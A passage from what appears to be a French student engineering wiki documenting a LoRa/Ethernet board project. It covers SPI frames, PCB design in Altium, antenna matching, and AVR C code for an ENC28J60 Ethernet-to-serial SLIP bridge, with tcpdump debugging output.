&lt;br /&gt;
MOSI est généré par le maître sur le front descendant de SCK et est échantillonné par l'esclave sur le front montant de SCK tandis que MISO est généré par l'esclave sur le bord descendant de SCK.&lt;br /&gt;
&lt;br /&gt;
Le  transfert est déclenché lorsque NSS est à l'état bas . MISO est alors en haute impédance lorsque NSS est à l'état haut.&lt;br /&gt;
&lt;br /&gt;
*Le premier octet envoyé est l'octet d'adresse. Il comprend:&lt;br /&gt;
  * Un bit wnr, 1 pour l'accès en écriture et 0 pour l'accès en lecture.&lt;br /&gt;
  * suivi de 7 bits d'adresse(MSB en premier).&lt;br /&gt;
&lt;br /&gt;
*Le deuxième octet est un octet de données, soit envoyé sur MOSI par le maître en cas d'accès en écriture ou reçu par le maître sur MISO en cas d'accès en lecture. L'octet de données est transmis MSB en premier.&lt;br /&gt;
&lt;br /&gt;
Les octets de traitement peuvent être envoyés sur MOSI (pour accès en écriture) ou reçus sur MISO (pour accès en lecture) sans un front montant du NSS et renvoyer l'adresse.&lt;br /&gt;
&lt;br /&gt;
La transmission de la trame se termine lorsque NSS passe à l'état haut. &lt;br /&gt;
&lt;br /&gt;
Pendant l'accès en écriture, l'octet transféré de l'esclave au maître sur la ligne MISO est la valeur de l'écriture avant l'opération d'écriture.&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Liaison_Maitre-esclave.jpg|500px|center|Carte Ethernet]]&lt;br /&gt;
&lt;br /&gt;
Transmission d'une trame SPI LoRa en mode simple accès&lt;br /&gt;
&lt;br /&gt;
[[Fichier:Simple_access_lora.jpg|Transmission trame SPI LoRa|500px|center]]&lt;br /&gt;
&lt;br /&gt;
=== Machine d'états===&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
===Réalisation des cartes PCB===&lt;br /&gt;
====La carte PCB====&lt;br /&gt;
----&lt;br /&gt;
Depuis quelques séances, nous avons commencé à réaliser notre carte PCB  qui contient la partie Ethernet  , Microcontrôleur et LoRa à l'aide du logiciel Altium. &lt;br /&gt;
Dans un premier temps nous avons d'abord réalisé les librairies Altium des composants dont nous ne disposons pas. La réalisation des librairies consiste en 2 étapes : schématique et empreinte. Il s'agit donc des composants tels que : le chip SX1276, régulateur PE4259 et le connecteur SI-50196-F. &lt;br /&gt;
&lt;br /&gt;
Voici leurs schématiques et footprints : &lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:sx1276.PNG|Schematique de Lora SX1276&lt;br /&gt;
Fichier:Connector.PNG‎|Schematique de connecteur SI-50196-F&lt;br /&gt;
Fichier:pe4259.PNG‎|Schématique de régulateur PE4259&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:Con_footprint.PNG|Footprint de connecteur SI-50196-F&lt;br /&gt;
Fichier:pe4259foot.PNG‎|Footprint de régulateur PE4259&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 Il conviendra de préciser que quelques librairies utilisées sont disponibles et téléchargeables sur le site d'Altium Designer et peuvent être installées sur le logiciel Altium de l'école.&lt;br /&gt;
 http://techdocs.altium.com/display/ADOH/Download+Libraries&lt;br /&gt;
&lt;br /&gt;
Cependant nous avons eu un problème du connecteur, puisque normalement pour les autres composants les pistes sont reliés avec les composants qui sont autours sur le schématique et le routage. Mais après avoir vu la carte que nous avons, pour la partie du connecteur il faut créer une cadre pour fixer la place du connecteur sur la carte PCB.&lt;br /&gt;
&lt;br /&gt;
Parallèlement nous avons réalisé la première étape de la conception d'une carte électronique : la réalisation de la schématique. Ci-dessous les schématiques des différentes parties de la carte&lt;br /&gt;
&lt;br /&gt;
&amp;lt;gallery style=&amp;quot;margin: 0 auto;&amp;quot;&amp;gt;&lt;br /&gt;
Fichier:Ethernet.PNG|Ethernet_Sch&lt;br /&gt;
Fichier:AT328P.PNG|AT328P.PNG_Sch&lt;br /&gt;
Fichier:RF_LoRa.PNG‎|RF_LoRa.PNG_Sch&lt;br /&gt;
&amp;lt;/gallery&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Très vite, nous avons entamé la deuxième étape de la conception : le routage. En raison des contraintes de temps, nous allons d'abord produire la partie RF_LoRa afin de pouvoir avancer sur la partie programmation.&lt;br /&gt;
&lt;br /&gt;
====Routage du PCB====&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Le routage consiste à déterminer la route des signaux d'alimentation qui vont relier les composants entre eux et à placer les composants sur la carte.  La carte a été conçue en respectant quelques contraintes de conception dimensionnelles : &lt;br /&gt;
 *la valeurs théoriques de conception sont *largeur des pistes = *,&lt;br /&gt;
 * l'angle entre les pistes ne doit pas être droit, &lt;br /&gt;
 *la carte est en double face, &lt;br /&gt;
&lt;br /&gt;
[[Fichier:CartePCB.PNG‎|500px|center|PCB de la carte]]&lt;br /&gt;
&lt;br /&gt;
==== Réalisation de l'antenne ====&lt;br /&gt;
----&lt;br /&gt;
La carte nécessite une antenne pour la communication RF. En concevant la carte , nous avons désigné la piste reliée à l'antenne de telle sorte qu'elle soit adaptée à 50 ohms (afin d'éviter toute perte de puissance liée à la désadaptation). Nous avons donc utilisé le logiciel AppCAD en prenant en compte certains paramètres tels que le substrat utilisé, la fréquence de fonctionnement,..&lt;br /&gt;
[[Fichier:Sonia.png‎|500px|center|Design de l'antenne]]&lt;br /&gt;
&lt;br /&gt;
====La programmation====&lt;br /&gt;
----&lt;br /&gt;
La carte sera programmée en langage C, langage de programmation modulaire.&lt;br /&gt;
&lt;br /&gt;
Le langage a été choisi pour son caractère universel, sa rapidité, proche du langage machine permettant une programmation simple des microcontrôleurs,..&lt;br /&gt;
 &lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt; Partie LoRa &amp;lt;/span&amp;gt; &amp;lt;br/&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
semaine 07/11/2016: Ecriture des fonctions d'écriture et de lecture de l'AtMega (digitalWrite() et digitalRead()) en C qui nous permettront d'écrire les fonctions d'écriture et de lecture SPI.&lt;br /&gt;
&lt;br /&gt;
semaine 14/11/2016 : Ecriture des librairies LoRa et AtMega ainsi que des fichiers de compilation.&lt;br /&gt;
&lt;br /&gt;
Le programme est subdivisé en 5 parties : partie configuration des entrées sorties, partie gestion de la liaison SPI , partie gestion de la modulation LoRa ainsi que les parties gérant les modules émetteurs et récepteurs de la communication RF (Client-Server).&lt;br /&gt;
Le programme est compilable. Nous allons d'abord faire des tests basiques sur un Arduino et ensuite nous testerons sur les modules inAir9 de chez modtronix.&lt;br /&gt;
&lt;br /&gt;
Après avoir retranscrit les bibliothèques en C, nous avons tenté de faire un test. On s'est vite rendu compte que les fonctions SPI étaient mal écrites, elles ont été réécrites en utilisant les registres SPI de l'AtMega328P.&lt;br /&gt;
Nous avons également réalisé 3  ponts diviseurs permettant de fournir des tensions supportables par les broches du modem LoRa.&lt;br /&gt;
Cependant,   &lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
&lt;br /&gt;
*&amp;lt;span style=&amp;quot;color:green&amp;quot;&amp;gt;Partie Ethernet  &amp;lt;/span&amp;gt;&lt;br /&gt;
----&lt;br /&gt;
&lt;br /&gt;
Pour la partie Ethernet, dans un premier temps nous avons écrit deux petits programmes pour l'émetteur et le récepteur. &lt;br /&gt;
Voici le code pour l'émetteur&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
#include &amp;lt;stdio.h&amp;gt;&lt;br /&gt;
#include &amp;lt;string.h&amp;gt;&lt;br /&gt;
#include &amp;lt;avr/io.h&amp;gt;&lt;br /&gt;
#include &amp;lt;util/delay.h&amp;gt;&lt;br /&gt;
&lt;br /&gt;
#include &amp;quot;serial.h&amp;quot;&lt;br /&gt;
#include &amp;quot;spi.h&amp;quot;&lt;br /&gt;
#include &amp;quot;enc28j60.h&amp;quot;&lt;br /&gt;
&lt;br /&gt;
#define MAX_PACKET     128&lt;br /&gt;
#define MAC_SIZE           6&lt;br /&gt;
#define TYPE_SIZE           2&lt;br /&gt;
&lt;br /&gt;
unsigned char mac_sender[]={0x00,0x10,0x10,0x10,0x10,0x01};&lt;br /&gt;
unsigned char mac_receiver[]={0x00,0x10,0x10,0x10,0x10,0x02};&lt;br /&gt;
unsigned char packet_type[]={0x11,0x11};&lt;br /&gt;
unsigned char packet[MAX_PACKET];&lt;br /&gt;
&lt;br /&gt;
int main(void])&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_sender);&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
memcpy(packet,mac_receiver,MAC_SIZE);&lt;br /&gt;
memcpy(packet+MAC_SIZE,mac_sender,MAC_SIZE);&lt;br /&gt;
memcpy(packet+2*MAC_SIZE,packet_type,2);&lt;br /&gt;
packet[2*MAC_SIZE+2]=0xaa;&lt;br /&gt;
packet[2*MAC_SIZE+3]=0xbb;&lt;br /&gt;
int len=2*MAC_SIZE+TYPE_SIZE+3;&lt;br /&gt;
unsigned char count=0;&lt;br /&gt;
while(1){&lt;br /&gt;
		packet[2*MAC_SIZE+4]=count++;&lt;br /&gt;
                enc28j60PacketSend(len,packet);&lt;br /&gt;
                printf(&amp;quot;Packet send size=%d\n&amp;quot;,len);&lt;br /&gt;
                _delay_ms(1000);&lt;br /&gt;
                }&lt;br /&gt;
		return 0;		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et le code pour le récepteur&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void])&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_receiver);&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
while(1){&lt;br /&gt;
                int size=enc28J60PacketReceive(MAX_PACKET,packet);&lt;br /&gt;
                printf(&amp;quot;Packet received size=%d\n&amp;quot;,size);&lt;br /&gt;
                int i,col=0;&lt;br /&gt;
                for(i=2*MAC_SIZE+TYPE_SIZE;i&amp;lt;size;i++){&lt;br /&gt;
                     printf(&amp;quot;%02x&amp;quot;,packet[i]);&lt;br /&gt;
                     col++;&lt;br /&gt;
                     if(col==16){ printf(&amp;quot;\n&amp;quot;); col=0);}&lt;br /&gt;
                     }&lt;br /&gt;
                if(col&amp;gt;0) printf&amp;quot;\n&amp;quot;);&lt;br /&gt;
                _delay_ms(1000);&lt;br /&gt;
                }&lt;br /&gt;
		return 0;		&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Ces deux codes permettent l'émetteur et le récepteur de communiquer entre eux. &lt;br /&gt;
&lt;br /&gt;
[[Fichier:communication.jpg|400px|center|La communication entre l'émetteur et le récepteur]]&lt;br /&gt;
&lt;br /&gt;
Avec le minicom, nous avons bien observé les données qui sont envoyées par l'émetteur et les données qui sont reçues par le récepteur.&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons développé notre idée. Voici une image pour mieux expliqué comment cela fonctionne.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
[[Fichier:Untitled drawing.jpg|400px|thumb|center|Objectif du second prototype]]&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
La carte ethernet1 doit arriver à recevoir des paquets ethernet du PC1 par la liaison série. Ensuite elle doit envoyer ces paquets à Arduino1 via SPI. Après l'Arduino1 va envoyer ces paquets par TX et RX. Une fois qu'Arduino2 reçoit ces paquet, il doit être capable d'envoyer des paquets à la carte ethernet2. Au final la carte ethernet2 doit envoyer toutes des données reçues à PC2. La transmission doit être bidirectionnel. &lt;br /&gt;
Pour réussir ce but, nous avons divisé le travail en deux partie. Dans un premier temps, nous avons programmé une carte comme serveur et l'autre carte comme client. Et nous devions réaliser des taches marquées ci-dessous:&lt;br /&gt;
&lt;br /&gt;
* si un paquet est reçu par le ENC28j60 alors le recopier dans le tableau Ethernet&lt;br /&gt;
* si un paquet est présent dans le tableau Ethernet, envoyer l'octet courant sur le port série&lt;br /&gt;
* si un octet arrive sur le port série le stocker dans le tableau Serie&lt;br /&gt;
* si le paquet dans le tableau Serie est complet, l'envoyer sur Ethernet&lt;br /&gt;
&lt;br /&gt;
Lorsque nous envoyons des paquets via TX/RX donc ceux sont des paquets SLIP. Pour analyser des paquets, il faut chercher le début et la fin de la trame. Le protocole SLIP modifie le paquet IP de la manière suivante&lt;br /&gt;
&lt;br /&gt;
* ajout d'un octet END afin de séparer les différents paquets&lt;br /&gt;
* si l'octet END est présent dans le paquet, il est remplacé par une séquence de deux octets ESC et ESC_END&lt;br /&gt;
* si l'octet ESC est présent dans le paquet, il est remplacé par une séquence de deux octets ESC et ESC_ESC&lt;br /&gt;
* une variante du protocole peut commencer et finir les paquets par l'octet END&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
[[Fichier:slip.png|400px|thumb|center|Les valeurs des octets modifiées sont les suivantes]]&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Basé sur ce protocole, nous avons donc écrit le code ci-dessous  &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_printf();&lt;br /&gt;
spi_init();&lt;br /&gt;
enc28j60Init(mac_receiver); //enc28j60Init(mac_sender) pour l'émetteur&lt;br /&gt;
unsigned char version=enc28j60getrev();&lt;br /&gt;
printf(&amp;quot;revision: %d\n&amp;quot;,version);&lt;br /&gt;
while(1){&lt;br /&gt;
  if(nb_ethernet==0{&lt;br /&gt;
    nb_ethernet=enc28j60PacketReceiver(MAX_BYTES,packet_ethernet);&lt;br /&gt;
    if(nb_ethernet!=0) index_ethernet=0;&lt;br /&gt;
    }&lt;br /&gt;
  if(nb_ethernet&amp;gt;0){&lt;br /&gt;
    if(index_ethernet&amp;lt;nb_ethernet){&lt;br /&gt;
      unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
      if(c==SLIP_END){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_END); }&lt;br /&gt;
      else if(c==SLIP_ESC){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC); }&lt;br /&gt;
      else send_serial(c);&lt;br /&gt;
      }&lt;br /&gt;
    else{ send_serial(SLIP_END); nb_ethernet=0; } &lt;br /&gt;
    }  &lt;br /&gt;
  if(serial_available()){&lt;br /&gt;
    unsigned char c=get_serial();&lt;br /&gt;
    if(c==SLIP_ESC){&lt;br /&gt;
      unsigned char code=get_serial();&lt;br /&gt;
      if(code==SLIP_CODE_END) packet_serial[nb_serial++]=SLIP_END;&lt;br /&gt;
      else if(code==SLIP_CODE_ESC) packet_serial[nb_serial++]=SLIP_ESC;&lt;br /&gt;
      }&lt;br /&gt;
    else if(c==SLIP_END){ enc28j60PacketSend(nb_serial,packet_serial); nb_serial=0; }&lt;br /&gt;
    else packet_serial[nb_serial++]=c;&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
 Ensuite pour visualiser les transmissions des données, nous avons utilisé une commande&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
tcpdump -vvvv -n -Xe -ieth0&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Cette commande permet de savoir le type et les contenues d'un packet. Quelques options importantes pour tcpdump &lt;br /&gt;
*-n: tcpdump ne convertira pas les adresses et les numéros de ports en leurs noms.&lt;br /&gt;
*-i nom_interface : permet de choisir l'interface d'écoute. &lt;br /&gt;
*-v : permet d'afficher encore plus d'informations sur les paquets, il y a trois niveaux de verbosité.&lt;br /&gt;
* -X : affiche les paquets en hexadécimal et en ASCII. &lt;br /&gt;
Donc sur le terminal nous avons eu &lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
tcpdump: listening on eth0, link-type EN10MB (Ethernet), capture size 262144 bytes&lt;br /&gt;
11:16:32.102805 20:3d:20:30:78:30 &amp;gt; 4d:41:41:44:52:35, ethertype Unknown (0x0d0d), length 167: &lt;br /&gt;
	0x0000:  0a4d 4141 4452 3420 3d20 3078 3130 0d0d  .MAADR4.=.0x10..&lt;br /&gt;
	0x0010:  0a4d 4141 4452 3320 3d20 3078 3130 0d0d  .MAADR3.=.0x10..&lt;br /&gt;
	0x0020:  0a4d 4141 4452 3220 3d20 3078 3130 0d0d  .MAADR2.=.0x10..&lt;br /&gt;
	0x0030:  0a4d 4141 4452 3120 3d20 3078 3130 0d0d  .MAADR1.=.0x10..&lt;br /&gt;
	0x0040:  0a4d 4141 4452 3020 3d20 3078 320d 0d0a  .MAADR0.=.0x2...&lt;br /&gt;
	0x0050:  7265 7669 7369 6f6e 3a20 360d 0aff ffff  revision:.6.....&lt;br /&gt;
	0x0060:  ffff ff5c b901 01ed ce08 0600 0108 0006  ...\............&lt;br /&gt;
	0x0070:  0400 015c b901 01ed ceac 1a4f 2100 0000  ...\.......O!...&lt;br /&gt;
	0x0080:  0000 00ac 1a4f fe00 0000 0000 0000 0000  .....O..........&lt;br /&gt;
	0x0090:  0000 0000 0000 0000 00                   .........&lt;br /&gt;
11:16:35.105084 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
11:16:36.102140 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
11:16:37.102128 5c:b9:01:01:ed:ce &amp;gt; ff:ff:ff:ff:ff:ff, ethertype ARP (0x0806), length 60: Ethernet (len 6), IPv4 (len 4), &lt;br /&gt;
        Request who-has 172.26.79.254 tell 172.26.79.33, length 46&lt;br /&gt;
	0x0000:  0001 0800 0604 0001 5cb9 0101 edce ac1a  ........\.......&lt;br /&gt;
	0x0010:  4f21 0000 0000 0000 ac1a 4ffe 0000 0000  O!........O.....&lt;br /&gt;
	0x0020:  0000 0000 0000 0000 0000 0000 0000       ..............&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Même si nous avons eu des message sur le port d'écoute mais nous avions un problème du passage d'un paquet ICMP. L'émetteur a essayé d'envoyer certaines types de paquet par exemple paquet ARP, paquet ICMP ... mais du coté de récepteur il n'a pas réussi à capter toutes les types de paquets.&lt;br /&gt;
&lt;br /&gt;
Après avoir étudié le datasheet d'enc28j60, nous avons bien résolu ce problème par ajouter le registre ERXFCON dans la librairie d'enc28j60. Selon son datasheet, ce registre permets de filtrer des paquets que nous recevons. Dans la fonction qui initialise enc28j60, nous avons donc écrit&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
enc28j60Write(ERXFCON,0x60)&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
0x60 veut dire que nous mettons le 6ème et 5ème bit de ce registre en 1 et cela permet de laisser passer toutes les types de paquets.&lt;br /&gt;
Nous avons ainsi réessayé ces deux cartes avec la nouvelle librairie et des nouveaux codes. Enfin nous avons réussit à envoyer et à recevoir des paquets ICMP et les autres genres de paquets ARP, IPV4...Nous avons refait la manipulation et nous avions des informations comme-suit&lt;br /&gt;
&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:t1.jpg|thumb|upright=1|manipulation]]&lt;br /&gt;
|[[Fichier:m1.jpg|thumb|upright=1|tcpdump]]&lt;br /&gt;
|[[Fichier:m2.jpg|thumb|upright=1|tcpdump]]&lt;br /&gt;
|[[Fichier:m3.jpg|thumb|upright=1|ping]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Voici le code pour cette partie&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
output_init();&lt;br /&gt;
while(1){&lt;br /&gt;
  if(nb_ethernet==0){&lt;br /&gt;
    nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
    if(nb_ethernet!=0){ index_ethernet=0; output_set(7,1); }&lt;br /&gt;
    }&lt;br /&gt;
  if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available())){&lt;br /&gt;
    if(index_ethernet&amp;lt;nb_ethernet){ &lt;br /&gt;
      output_set(6,1);&lt;br /&gt;
      unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
      if(c==SLIP_END){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_END); }&lt;br /&gt;
      else if(c==SLIP_ESC){ send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC); }&lt;br /&gt;
      else send_serial(c);&lt;br /&gt;
      output_set(6,0);&lt;br /&gt;
      } &lt;br /&gt;
    else{ send_serial(SLIP_END); nb_ethernet=0; output_set(7,0); } &lt;br /&gt;
    }  &lt;br /&gt;
  if(serial_rx_available()){&lt;br /&gt;
    output_set(5,1);&lt;br /&gt;
    unsigned char c=get_serial();&lt;br /&gt;
    output_set(5,0);&lt;br /&gt;
    if(c==SLIP_ESC){&lt;br /&gt;
      output_set(5,1);&lt;br /&gt;
      unsigned char code=get_serial();&lt;br /&gt;
      output_set(5,0);&lt;br /&gt;
      if(code==SLIP_CODE_END) packet_serial[nb_serial++]=SLIP_END;&lt;br /&gt;
      else if(code==SLIP_CODE_ESC) packet_serial[nb_serial++]=SLIP_ESC;&lt;br /&gt;
      }&lt;br /&gt;
    else if(c==SLIP_END){&lt;br /&gt;
       enc28j60PacketSend(nb_serial,packet_serial); nb_serial=0;&lt;br /&gt;
      }&lt;br /&gt;
    else packet_serial[nb_serial++]=c;&lt;br /&gt;
    }&lt;br /&gt;
  }&lt;br /&gt;
}    &lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Ensuite nous avons passé en deuxième partie, au lieu d'enregistrer des paquets dans la mémoire d'Arduino nous voulions directement utiliser enc28j60 pour envoyer et recevoir des données. Pour cela nous avons changé un peu la fonction dans la librairie. A la place d'appeler la fonction '''enc28j60PacketSend(unsigned int len,unsigned char* packet)''' nous écrivions trois autres fonctions qui permettent initialiser le buffer, écrire un octet sur buffer et finalise envoyer cet octet.Voici ces 3 fonctions&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that initializes the Send Buffer&lt;br /&gt;
int sendlen;&lt;br /&gt;
void enc28j60InitializeSend(void)&lt;br /&gt;
{&lt;br /&gt;
	// Set the write pointer to start of the transmit buffer area&lt;br /&gt;
	enc28j60Write(EWRPTL, TXSTART_INIT);&lt;br /&gt;
	enc28j60Write(EWRPTH, TXSTART_INIT&amp;gt;&amp;gt;8);&lt;br /&gt;
	sendlen = 0;&lt;br /&gt;
	enc28j60WriteByteSend(0x00);&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that writes un octet in the buffer&lt;br /&gt;
&lt;br /&gt;
void enc28j60WriteByteSend(unsigned char byte)&lt;br /&gt;
{&lt;br /&gt;
	enc28j60WriteOp(ENC28J60_WRITE_BUF_MEM, 0, byte);&lt;br /&gt;
	sendlen++;&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that finalizes the sending of the byte&lt;br /&gt;
&lt;br /&gt;
void enc28j60FinalizeSend(void)&lt;br /&gt;
{&lt;br /&gt;
	// Set the TXND pointer to correspond to the packet size given&lt;br /&gt;
        enc28j60Write(ETXNDL, (TXSTART_INIT+sendlen));&lt;br /&gt;
        enc28j60Write(ETXNDH, (TXSTART_INIT+sendlen)&amp;gt;&amp;gt;8);		&lt;br /&gt;
	// send the contents of the transmit buffer onto the network&lt;br /&gt;
        enc28j60WriteOp(ENC28J60_BIT_FIELD_SET, ECON1, ECON1_TXRTS);&lt;br /&gt;
&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Donc dans le code main, nous avons écrit&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
int main(void)&lt;br /&gt;
{&lt;br /&gt;
init_serial(115200);&lt;br /&gt;
enc28j60Init(mac);&lt;br /&gt;
enc28j60InitializeSend();&lt;br /&gt;
output_init();&lt;br /&gt;
while(1)&lt;br /&gt;
 {&lt;br /&gt;
	if(nb_ethernet==0)&lt;br /&gt;
	{&lt;br /&gt;
		nb_ethernet=enc28j60PacketReceive(MAX_BYTES,packet_ethernet);&lt;br /&gt;
		if(nb_ethernet!=0)&lt;br /&gt;
		{&lt;br /&gt;
			index_ethernet=0;&lt;br /&gt;
			output_set(7,1);&lt;br /&gt;
		}&lt;br /&gt;
        }&lt;br /&gt;
	if((nb_ethernet&amp;gt;0)&amp;amp;&amp;amp;(serial_tx_available()))&lt;br /&gt;
	{&lt;br /&gt;
		if(index_ethernet&amp;lt;nb_ethernet)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(6,1);&lt;br /&gt;
			unsigned char c=packet_ethernet[index_ethernet++];&lt;br /&gt;
			if(c==SLIP_END){send_serial(SLIP_ESC); send_serial(SLIP_CODE_END);}&lt;br /&gt;
			else if(c==SLIP_ESC){send_serial(SLIP_ESC); send_serial(SLIP_CODE_ESC);}&lt;br /&gt;
			else send_serial(c);&lt;br /&gt;
			output_set(6,0);&lt;br /&gt;
		}&lt;br /&gt;
		else{send_serial(SLIP_END); nb_ethernet=0; output_set(7,0);}&lt;br /&gt;
	}&lt;br /&gt;
	if(serial_rx_available())&lt;br /&gt;
	{&lt;br /&gt;
		output_set(5,1);&lt;br /&gt;
		unsigned char c=get_serial();&lt;br /&gt;
		output_set(5,0);&lt;br /&gt;
		if(nb_serial==0) enc28j60InitializeSend(); &lt;br /&gt;
		if(c==SLIP_ESC)&lt;br /&gt;
		{&lt;br /&gt;
			output_set(5,1);&lt;br /&gt;
			unsigned char code=get_serial();&lt;br /&gt;
			output_set(5,0);&lt;br /&gt;
			if(code==SLIP_CODE_END) &lt;br /&gt;
			{	&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_END);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
			else if(code==SLIP_CODE_ESC) &lt;br /&gt;
			{&lt;br /&gt;
				enc28j60WriteByteSend(SLIP_ESC);&lt;br /&gt;
				nb_serial++;&lt;br /&gt;
			}&lt;br /&gt;
        	}&lt;br /&gt;
		else if(c==SLIP_END)&lt;br /&gt;
		{&lt;br /&gt;
	 		&lt;br /&gt;
			enc28j60FinalizeSend();&lt;br /&gt;
			nb_serial=0;&lt;br /&gt;
		}&lt;br /&gt;
		else { enc28j60WriteByteSend(c); nb_serial++; }&lt;br /&gt;
	}&lt;br /&gt;
 }&lt;br /&gt;
}&lt;br /&gt;
&amp;lt;/pre&amp;gt;&lt;br /&gt;
Et cela marche aussi.&lt;br /&gt;
&amp;lt;center&amp;gt;&lt;br /&gt;
{|&lt;br /&gt;
|[[Fichier:ping.jpg|thumb|upright=2|ping]]&lt;br /&gt;
|[[Fichier:tcpdump.jpg|thumb|upright=2|tcpdump]]&lt;br /&gt;
|}&lt;br /&gt;
&amp;lt;/center&amp;gt;&lt;br /&gt;
&lt;br /&gt;
Nous avons aussi remplacé la fonction '''enc28j60PacketReceive(unsigned int maxlen, unsigned char* packet)''' par 3 fonctions.&lt;br /&gt;
La première fonction permet d'initialiser le buffer de recevoir et voir s'il y a un paquet est reçu.&lt;br /&gt;
&amp;lt;pre&amp;gt;&lt;br /&gt;
//Function that initializes the receive buffer&lt;br /&gt;
unsigned int enc28j60PacketReceive(void)&lt;br /&gt;
{&lt;br /&gt;
	uint16_t rcvlen;&lt;br /&gt;
        uint16_t rxstat;&lt;br /&gt;
	&lt;br /&gt;
	// check if a packet has been received and buffered&lt;br /&gt;
	if(enc28j60Read(EPKTCNT)==0) &lt;br /&gt;
	{&lt;br /&gt;
		return(0);&lt;br /&gt;
	}&lt;br /&gt;
	&lt;br /&gt;
	// set the read pointer to the start of the received packet&lt;br /&gt;
